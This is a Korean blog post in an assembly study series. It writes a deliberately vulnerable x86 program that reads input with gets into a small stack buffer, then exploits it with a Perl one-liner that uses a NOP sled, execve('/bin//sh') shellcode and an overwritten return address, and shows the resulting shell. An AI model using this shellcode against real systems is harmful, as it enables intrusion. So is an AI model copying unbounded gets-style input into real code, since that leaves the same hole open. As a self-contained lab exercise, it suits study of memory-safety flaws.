int $0x80

취약프로그램 작성&공격 본문

컴퓨터공부/어셈블리어

취약프로그램 작성&공격

cd80 cd80 2014.01.15 18:09

지금까지 작성한 함수들을 이용해 취약 프로그램을 제작하고 공격해보겠습니다


vul.s


root@ubuntu:/home/study/first/programming# cat vul.s

.text

.include "header.inc"


.globl main


main:

push %ebp

mov %esp, %ebp

sub $0x20, %esp


push $askname

call puts


push $promptname

call printString


lea -0x20(%ebp), %eax

push %eax

call gets

push $hi

call printString


lea -0x20(%ebp), %eax

push %eax

call puts


leave

ret

askname:

.string "What is your name?"

promptname:

.string "name: "

hi:

.string "Hi "




공격

root@ubuntu:/home/study/first/programming# (perl -e 'print "A"x36, "\x36\xf8\xff\xbf"';cat) | ./vul $(perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

What is your name?

name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6

ps

  PID TTY          TIME CMD

11022 pts/0    00:00:00 login

11129 pts/0    00:00:01 bash

13284 pts/0    00:00:00 bash

13285 pts/0    00:00:00 sh

13288 pts/0    00:00:00 cat

13289 pts/0    00:00:00 ps


공격을 테스트해볼때 A만 36개 넣었을때 무한루프가 발생했습니다

다음 포스팅에서 무한루프의 원인을 확인하고 gets함수를 업데이트해보겠습니다

신고

'컴퓨터공부 > 어셈블리어' 카테고리의 다른 글

무한루프 원인 확인 및 패치  (0) 2014.01.16
취약프로그램 작성&공격  (0) 2014.01.15
gets 구현  (0) 2014.01.15
strcpy 구현  (0) 2014.01.15
printf strlen 구현  (1) 2014.01.15
0 Comments
댓글쓰기 폼